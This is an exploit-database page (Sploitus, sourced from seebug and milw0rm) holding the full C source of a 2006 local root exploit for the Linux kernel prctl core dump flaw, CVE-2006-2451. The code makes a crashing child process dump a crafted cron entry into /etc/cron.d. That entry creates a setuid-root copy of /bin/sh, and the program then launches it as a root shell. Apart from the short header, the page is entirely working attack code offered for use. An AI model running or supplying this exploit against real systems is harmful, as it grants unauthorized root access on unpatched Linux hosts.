Sploitus

Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit

seebug Β· 2006-07-11

Exploit Code

MARKDOWN53 lines
## https://sploitus.com/exploit?id=SSV:16262
/*****************************************************/
/* Local r00t Exploit for:                           */
/* Linux Kernel PRCTL Core Dump Handling             */
/* ( BID 18874 / CVE-2006-2451 )                     */
/* Kernel 2.6.x  (&gt;= 2.6.13 &amp;&amp; &lt; 2.6.17.4)           */
/* By:                                               */
/* - dreyer    &lt;luna@aditel.org&gt;   (main PoC code)   */
/* - RoMaNSoFt &lt;roman@rs-labs.com&gt; (local root code) */
/*                                  [ 10.Jul.2006 ]  */
/*****************************************************/

#include &lt;stdio.h&gt;
#include &lt;sys/time.h&gt;
#include &lt;sys/resource.h&gt;
#include &lt;unistd.h&gt;
#include &lt;linux/prctl.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;signal.h&gt;

char *payload=&quot;\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root   cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n&quot;;

int main() { 
    int child;
    struct rlimit corelimit;
    printf(&quot;Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n&quot;);
    printf(&quot;By: dreyer &amp; RoMaNSoFt\n&quot;);
    printf(&quot;[ 10.Jul.2006 ]\n\n&quot;);

    corelimit.rlim_cur = RLIM_INFINITY;
    corelimit.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CORE, &amp;corelimit);

    printf(&quot;[*] Creating Cron entry\n&quot;);

    if ( !( child = fork() )) {
        chdir(&quot;/etc/cron.d&quot;);
        prctl(PR_SET_DUMPABLE, 2);
        sleep(200);
        exit(1);
    }

    kill(child, SIGSEGV);

    printf(&quot;[*] Sleeping for aprox. one minute (** please wait **)\n&quot;);
    sleep(62);

    printf(&quot;[*] Running shell (remember to remove /tmp/sh when finished) ...\n&quot;);
    system(&quot;/tmp/sh -i&quot;);
}

// milw0rm.com [2006-07-11]